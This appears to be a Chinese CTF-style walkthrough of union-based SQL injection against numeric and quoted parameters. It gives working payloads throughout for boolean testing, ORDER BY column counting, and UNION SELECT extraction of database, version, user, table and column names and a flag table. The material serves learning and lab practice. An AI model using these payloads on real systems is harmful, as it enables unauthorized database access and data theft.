赞
踩
提示:以下是本篇文章正文内容,下面案例可供参考
用1 and 1=1和1 and 1=2进行测试(若页面回显不一样,则证明该注入点存在sql injection漏洞)
在数据库中执行的语句:
SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;
SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;
使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数
判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询
在数据库中执行的语句:
SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;
SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;
以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来
输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)
输入1 and 1=2 union select 1,concat-ws('>',database(),version(),user())
扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息
输入1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
输入1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
输入1 and 1=1 union select 1,concat_ws('>',flag) from flag
用1' and '1'='1和1' and '1'='2进行测试(若页面回显不一样,则证明该注入点存在sql injection漏洞)
在数据库中执行的语句:
SELECT * FROM uers WHERE id=‘1’ and ‘1’=‘1’ LIMIT 1,0;
SELECT * FROM uers WHERE id=‘1’ and ‘1’=‘2’ LIMIT 1,0;
使用order by语句进行测试:1' order by 1 --+、1' order by 2 --+等,直到报错为止,报错的前一个数,为字段数
闭合后一个单引号的方法:
*注释符# --+ --等
*单引号’
此题在用判断列数时似乎只能用--+来注释掉后一个单引号
判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询
在数据库中执行的语句:
SELECT * FROM uers WHERE id=‘1’ order by 1 --+’ LIMIT 1,0;
SELECT * FROM uers WHERE id=‘1’ order by 2 --+’ LIMIT 1,0;
//以下为构造poc(轮子)
输入1' and '1'='2' union select 1,2 --+
输入1' and '1'='2' union select 1,concat-ws('>',database(),user(),version()) --+
输入1' and '1'='2' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
输入1' and '1'='2' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag' --+
输入1' and '1'='1' union select 1,concat_ws('>',flag) from flag --+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。